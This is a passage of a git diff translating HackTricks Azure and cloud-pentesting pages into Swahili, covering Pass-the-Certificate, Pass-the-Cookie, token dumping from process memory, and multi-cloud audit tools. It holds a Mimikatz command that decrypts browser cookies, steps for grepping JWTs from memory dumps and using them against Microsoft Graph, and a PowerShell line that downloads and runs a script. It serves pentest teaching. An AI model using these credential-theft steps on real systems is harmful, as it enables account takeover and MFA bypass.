mechanism. +Katika mashine zilizounganishwa na Azure, inawezekana kuthibitisha kutoka mashine moja hadi nyingine kwa kutumia vyeti ambavyo **vinapaswa kutolewa na Azure AD CA** kwa mtumiaji anayehitajika (kama somo) wakati mashine zote zinasaidia **NegoEx** utaratibu wa uthibitishaji. -In super simplified terms: +Kwa maneno rahisi sana: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- Mashine (mteja) inayozindua muunganisho **inahitaji cheti kutoka Azure AD kwa mtumiaji**. +- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo iliyotokana (kwa kutumia funguo ya kikao na muktadha wa usalama) na **kinituma kwa Azure AD** +- Azure AD inathibitisha saini ya JWT kwa kutumia funguo ya kikao cha mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**. -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +Katika hali hii na baada ya kupata taarifa zote zinazohitajika kwa [**Pass the PRT**](pass-the-prt.md) shambulio: -- Username -- Tenant ID +- Jina la mtumiaji +- Kitambulisho cha mpangilio - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- Muktadha wa usalama +- Funguo iliyotokana +Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia chombo [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +Vithibitisho vitadumu sawa na PRT. Kutumia vithibitisho unaweza kutumia chombo cha python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambacho kitafanya **uthibitishaji** kwenye mashine ya mbali, kukimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` - ## References -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Kwa maelezo zaidi kuhusu jinsi Pass the Certificate inavyofanya kazi angalia chapisho asilia [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..9397d0c93 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,40 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## Kwa Nini Cookies? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +Browser **cookies** ni mekanizma nzuri ya **kupita uthibitishaji na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena. -You can see where are **browser cookies located** in: +Unaweza kuona ambapo **cookies za kivinjari ziko** katika: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## Shambulio -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za kificho zinazohusishwa na mtumiaji](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a userā€™s cookies** even though they are encrypted with this command: - +Kwa Mimikatz mkononi, naweza **kutoa cookies za mtumiaji** hata ingawa zimefungwa kwa amri hii: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +Kwa Azure, tunajali kuhusu kuki za uthibitishaji ikiwemo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, na **`ESTSAUTHLIGHT`**. Hizi zipo kwa sababu mtumiaji amekuwa hai kwenye Azure hivi karibuni. -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. +Tu naviga kwenye login.microsoftonline.com na ongeza kuki **`ESTSAUTHPERSISTENT`** (iliyoundwa na chaguo la ā€œStay Signed Inā€) au **`ESTSAUTH`**. Na utathibitishwa. -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by ā€œStay Signed Inā€ option) or **`ESTSAUTH`**. And you will be authenticated. - -## References +## Marejeleo - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..d413f0510 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**Angalia:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..a488377c1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Angalia chapisho katika** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) ingawa chapisho lingine linalofafanua sawa linaweza kupatikana katika [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..c45194f63 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,14 +4,13 @@ ## **Basic Information** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu**. Hivyo basi, **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa alama za JWT** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA. -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +Hatua: +1. Dondosha mchakato wa excel uliohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda. +2. Endesha: `string excel.dmp | grep 'eyJ0'` na pata alama kadhaa katika matokeo +3. Pata alama ambazo zinakuvutia zaidi na endesha zana juu yao: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ā”Œā”€ā”€(magichkć‰æblack-pearl)-[~] ā””ā”€$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**Kumbuka kwamba aina hizi za access tokens zinaweza pia kupatikana ndani ya michakato mingine.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..4b3904649 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +Ili kuanza majaribio unapaswa kuwa na ufikiaji na mtumiaji mwenye **idhini za Msomaji juu ya usajili** na **nafasi ya Msomaji wa Kimataifa katika AzureAD**. Ikiwa hata katika hali hiyo huwezi **kufikia maudhui ya Akaunti za Hifadhi** unaweza kurekebisha hilo kwa **nafasi ya Mchangiaji wa Akaunti ya Hifadhi**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..3ee481b60 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,43 +6,42 @@ ## Basic Methodology -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Kila wingu lina tabia zake za kipekee lakini kwa ujumla kuna mambo machache **ya kawaida ambayo pentester anapaswa kuangalia** wakati wa kujaribu mazingira ya wingu: - **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** +- Hii itakusaidia **kuelewa ukubwa** wa mazingira na **huduma zinazotumika** +- Itakuruhusu pia kupata **makosa ya haraka** kwani unaweza kufanya sehemu kubwa ya majaribio haya kwa kutumia **zana za kiotomatiki** - **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps +- Huenda usipate makosa mengi zaidi hapa ikiwa umefanya majaribio ya benchmark kwa usahihi, lakini unaweza kupata baadhi ambayo hayakuangaliwa katika majaribio ya benchmark. +- Hii itakuruhusu kujua **nini hasa kinatumika** katika mazingira ya wingu +- Hii itasaidia sana katika hatua zinazofuata - **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) +- Hii inaweza kufanywa wakati wa sehemu ya awali, unahitaji **kugundua kila kitu ambacho kinaweza kuwa wazi** kwa Mtandao kwa namna fulani na jinsi kinavyoweza kufikiwa. +- Hapa ninachukua **miundombinu iliyofichuliwa kwa mikono** kama vile mifano yenye kurasa za wavuti au port nyingine zinazofichuliwa, na pia kuhusu **huduma za wingu zinazodhibitiwa ambazo zinaweza kuwekwa** wazi (kama vile DBs au buckets) +- Kisha unapaswa kuangalia **kama rasilimali hiyo inaweza kufichuliwa au la** (habari za siri? udhaifu? makosa katika huduma iliyofichuliwa?) - **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. +- Hapa unapaswa **kugundua ruhusa zote za kila jukumu/katumizi** ndani ya wingu na jinsi zinavyotumika +- Akaunti nyingi **zenye mamlaka makubwa** (udhibiti kila kitu)? Funguo zilizozalishwa hazitumiki?... Sehemu kubwa ya ukaguzi huu inapaswa kuwa imefanywa katika majaribio ya benchmark tayari +- Ikiwa mteja anatumia OpenID au SAML au **federation** nyingine unaweza kuhitaji kuwauliza kwa maelezo zaidi kuhusu **jinsi kila jukumu linavyotolewa** (sio sawa kwamba jukumu la admin linatolewa kwa mtumiaji 1 au kwa 100) +- **Sio vya kutosha kugundua** ni watumiaji gani wana **mamlaka ya admin** "\*:\*". Kuna ruhusa nyingi **zingine** ambazo kulingana na huduma zinazotumika zinaweza kuwa **nyeti** sana. +- Zaidi ya hayo, kuna njia za **potential privesc** za kufuata kwa kutumia ruhusa. Mambo haya yote yanapaswa kuzingatiwa na **njia nyingi za privesc kadri iwezekanavyo** zinapaswa kuripotiwa. - **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env. - - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- Ni uwezekano mkubwa kwamba **mashirikiano na mawingu mengine au SaaS** yanatumika ndani ya mazingira ya wingu. +- Kwa **mashirikiano ya wingu unayoangalia** na jukwaa lingine unapaswa kutangaza **nani ana ufaccess (kuutumia) huo ushirikiano** na unapaswa kuuliza **ni kiasi gani** kitendo kinachofanywa ni nyeti.\ +Kwa mfano, nani anaweza kuandika katika bucket ya AWS ambapo GCP inapata data (uliza ni kiasi gani kitendo hicho ni nyeti katika GCP kinachoshughulikia data hiyo). +- Kwa **mashirikiano ndani ya wingu unayoangalia** kutoka kwa majukwaa ya nje, unapaswa kuuliza **nani ana ufaccess nje (kuutumia) huo ushirikiano** na kuangalia jinsi data hiyo inavyotumika.\ +Kwa mfano, ikiwa huduma inatumia picha ya Docker iliyohifadhiwa katika GCR, unapaswa kuuliza nani ana ufaccess wa kuibadilisha na ni taarifa zipi nyeti na ufaccess zitakazopatikana kwa picha hiyo itakapotekelezwa ndani ya wingu la AWS. ## Multi-Cloud tools -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Kuna zana kadhaa ambazo zinaweza kutumika kujaribu mazingira tofauti ya wingu. Hatua za usakinishaji na viungo vitatolewa katika sehemu hii. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +Zana ya **kutambua makosa mabaya ya usanidi na njia za privesc katika mawingu na kati ya mawingu/SaaS.** {{#tabs }} {{#tab name="Install" }} - ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +Inasaidia **AWS, GCP & Azure**. Angalia jinsi ya kuunda mipangilio ya kila mtoa huduma katika [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Sakinisha" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,16 +100,13 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} @@ -126,7 +116,6 @@ AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} {{#tab name="Install" }} - ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,24 +124,21 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} @@ -160,17 +146,14 @@ done {{#tabs }} {{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +Pakua na usakinishe Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Au tumia Brew: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +Angalia Miradi Yote +Ili kuangalia miradi yote unahitaji kuunda faili la `gcp.spc` linaloashiria miradi yote ya kupima. Unaweza kufuata tu maelekezo kutoka kwa skripti ifuatayo. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Ili kuangalia **maelezo mengine ya GCP** (yenye manufaa kwa kuorodhesha huduma) tumia: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Ili kuangalia msimbo wa Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Viongezeo zaidi vya GCP vya Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,7 +225,6 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` - To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) @@ -256,19 +234,18 @@ More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aw ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +Inahitaji python2.7 na inaonekana haijatunzwa. ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus ina _**Ukaguzi wa Miundombinu ya Wingu**_ skana inayounga mkono: AWS, Azure, Office 365, Rackspace, Salesforce. Mipangilio ya ziada katika **Azure** inahitajika kupata **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist ni **chombo cha wingu nyingi kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa Huduma za Wingu. {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} {{#tab name="Second Tab" }} - ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} ### [**cartography**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Cartography ni chombo cha Python kinachounganisha mali za miundombinu na uhusiano kati yao katika mtazamo wa grafu wa kueleweka unaoendeshwa na hifadhidata ya Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika muonekano wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +Gundua watumiaji wenye mamlaka zaidi katika mazingira ya AWS au Azure yaliyoskanwa, ikiwa ni pamoja na AWS Shadow Admins. Inatumia powershell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Chombo cha kutafuta miundombinu ya kampuni (lengo), faili, na programu kwenye watoa huduma wakuu wa wingu (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool 